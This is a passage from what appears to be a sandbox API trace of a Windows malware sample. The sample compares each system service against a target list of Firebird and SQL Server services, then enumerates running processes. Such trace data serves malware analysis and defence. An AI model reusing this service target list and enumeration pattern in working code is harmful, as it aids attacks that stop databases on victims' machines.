(lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0304.518] lstrlenW (lpString="Audiosrv") returned 8 [0304.518] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0304.518] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0304.518] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0304.518] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0304.519] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0304.519] lstrlenW (lpString="BFE") returned 3 [0304.519] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0304.519] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0304.519] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0304.519] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0304.519] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0304.519] lstrlenW (lpString="BITS") returned 4 [0304.519] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0304.519] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0304.519] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0304.519] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0304.519] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0304.519] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0304.519] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0304.519] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0304.520] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0304.520] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0304.520] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0304.520] lstrlenW (lpString="CDPSvc") returned 6 [0304.520] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0304.520] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0304.520] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0304.520] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0304.520] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0304.520] lstrlenW (lpString="ClickToRunSvc") returned 13 [0304.520] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0304.520] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0304.520] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0304.520] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0304.520] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0304.520] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0304.520] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0304.520] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0304.520] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0304.520] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0304.520] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0304.520] lstrlenW (lpString="CryptSvc") returned 8 [0304.520] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0304.520] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0304.520] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0304.521] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0304.521] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0304.521] lstrlenW (lpString="DcomLaunch") returned 10 [0304.521] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0304.521] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0304.521] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0304.521] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0304.521] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0304.521] lstrlenW (lpString="DeviceAssociationService") returned 24 [0304.521] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0304.521] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0304.521] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0304.521] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0304.521] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0304.521] lstrlenW (lpString="Dhcp") returned 4 [0304.521] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0304.521] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0304.521] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0304.521] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0304.521] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0304.521] lstrlenW (lpString="Dnscache") returned 8 [0304.521] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0304.521] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0304.521] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0304.521] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0304.521] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0304.522] lstrlenW (lpString="DoSvc") returned 5 [0304.522] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0304.522] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0304.522] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0304.522] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0304.522] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0304.522] lstrlenW (lpString="DPS") returned 3 [0304.522] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0304.522] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0304.522] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0304.522] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0304.522] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0304.522] lstrlenW (lpString="DusmSvc") returned 7 [0304.522] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0304.522] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0304.522] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0304.522] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0304.522] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0304.522] lstrlenW (lpString="EventLog") returned 8 [0304.522] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0304.522] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0304.522] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0304.522] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0304.522] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0304.522] lstrlenW (lpString="EventSystem") returned 11 [0304.522] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0304.523] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0304.523] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0304.523] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0304.523] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0304.523] lstrlenW (lpString="FontCache") returned 9 [0304.523] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0304.523] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0304.523] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0304.523] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0304.523] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0304.523] lstrlenW (lpString="gpsvc") returned 5 [0304.523] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0304.523] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0304.523] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0304.523] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0304.523] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0304.523] lstrlenW (lpString="iphlpsvc") returned 8 [0304.523] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0304.523] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0304.523] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0304.523] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0304.523] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0304.523] lstrlenW (lpString="KeyIso") returned 6 [0304.523] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0304.523] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0304.523] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0304.524] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0304.524] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0304.524] lstrlenW (lpString="LanmanServer") returned 12 [0304.524] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0304.524] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0304.524] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0304.524] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0304.524] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0304.524] lstrlenW (lpString="LanmanWorkstation") returned 17 [0304.524] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0304.524] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0304.524] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0304.524] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0304.524] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0304.524] lstrlenW (lpString="lfsvc") returned 5 [0304.524] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0304.524] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0304.524] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0304.524] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0304.524] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0304.524] lstrlenW (lpString="lmhosts") returned 7 [0304.524] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0304.524] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0304.524] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0304.524] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0304.525] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0304.525] lstrlenW (lpString="LSM") returned 3 [0304.525] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0304.525] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0304.525] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0304.525] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0304.525] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0304.525] lstrlenW (lpString="MapsBroker") returned 10 [0304.525] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1 [0304.525] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1 [0304.525] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1 [0304.525] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1 [0304.525] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1 [0304.525] lstrlenW (lpString="MpsSvc") returned 6 [0304.525] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0304.525] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0304.529] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0304.529] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0304.529] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0304.529] lstrlenW (lpString="NcbService") returned 10 [0304.529] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0304.529] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0304.529] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0304.529] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0304.529] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0304.529] lstrlenW (lpString="netprofm") returned 8 [0304.529] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0304.529] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0304.529] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0304.529] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0304.529] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0304.529] lstrlenW (lpString="NgcSvc") returned 6 [0304.529] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0304.529] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0304.529] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0304.529] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0304.529] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0304.529] lstrlenW (lpString="NlaSvc") returned 6 [0304.529] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0304.529] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0304.529] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0304.529] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0304.529] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0304.529] lstrlenW (lpString="nsi") returned 3 [0304.529] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0304.529] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0304.529] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0304.529] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0304.529] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0304.530] lstrlenW (lpString="PcaSvc") returned 6 [0304.530] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0304.530] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0304.530] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0304.530] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0304.530] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0304.530] lstrlenW (lpString="PlugPlay") returned 8 [0304.530] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0304.530] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0304.530] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0304.530] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0304.530] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0304.530] lstrlenW (lpString="Power") returned 5 [0304.530] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0304.530] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0304.530] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0304.530] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0304.530] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0304.530] lstrlenW (lpString="ProfSvc") returned 7 [0304.530] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0304.530] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0304.530] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0304.530] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0304.530] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0304.530] lstrlenW (lpString="RpcEptMapper") returned 12 [0304.530] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0304.530] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0304.530] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0304.530] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0304.530] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0304.530] lstrlenW (lpString="RpcSs") returned 5 [0304.530] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0304.530] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0304.531] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0304.531] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0304.531] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0304.531] lstrlenW (lpString="SamSs") returned 5 [0304.531] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0304.531] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0304.531] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0304.531] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0304.531] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0304.531] lstrlenW (lpString="Schedule") returned 8 [0304.531] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0304.531] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0304.531] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0304.531] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0304.531] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0304.531] lstrlenW (lpString="SecurityHealthService") returned 21 [0304.531] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0304.531] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0304.531] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0304.531] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0304.531] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0304.531] lstrlenW (lpString="SENS") returned 4 [0304.531] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0304.531] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0304.531] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0304.531] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0304.531] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0304.531] lstrlenW (lpString="ShellHWDetection") returned 16 [0304.531] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0304.531] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0304.531] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0304.531] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0304.531] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0304.532] lstrlenW (lpString="Spooler") returned 7 [0304.532] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0304.532] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0304.532] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0304.532] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0304.532] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0304.532] lstrlenW (lpString="SSDPSRV") returned 7 [0304.532] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0304.532] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0304.532] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0304.532] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0304.532] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0304.532] lstrlenW (lpString="StateRepository") returned 15 [0304.532] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0304.532] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0304.532] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0304.532] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0304.532] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45eee80 | out: hHeap=0x6e0000) returned 1 [0304.532] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x50c [0304.535] Process32FirstW (in: hSnapshot=0x50c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0304.536] Process32NextW (in: hSnapshot=0x50c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x96, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0304.536] lstrlenW (lpString="System") returned 6 [0304.536] Process32NextW (in: hSnapshot=0x50c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0304.537] lstrlenW (lpString="smss.exe") returned 8 [0304.537] Process32NextW (in: hSnapshot=0x50c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0304.538] lstrlenW (lpString="csrss.exe") returned 9 [0304.538] Process32NextW (in: hSnapshot=0x50c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0304.539] lstrlenW (lpString="wininit.exe") returned 11 [0304.539] Process32NextW (in: hSnapshot=0x50c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0304.539] lstrlenW (lpString="csrss.exe") returned 9 [0304.539] Process32NextW (in: hSnapshot=0x50c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0304.540] lstrlenW (lpString="winlogon.exe") returned 12 [0304.540] Process32NextW (in: hSnapshot=0x50c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0304.541] lstrlenW (lpString="services.exe") returned 12 [0304.541] Process32NextW (in: hSnapshot=0x50c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0304.541] lstrlenW (lpString="lsass.exe") returned 9 [0304.541] Process32NextW (in: hSnapshot=0x50c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0304.542] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0304.542] Process32NextW (in: hSnapshot=0x50c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0304.543] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0304.543] Process32NextW (in: hSnapshot=0x50c, 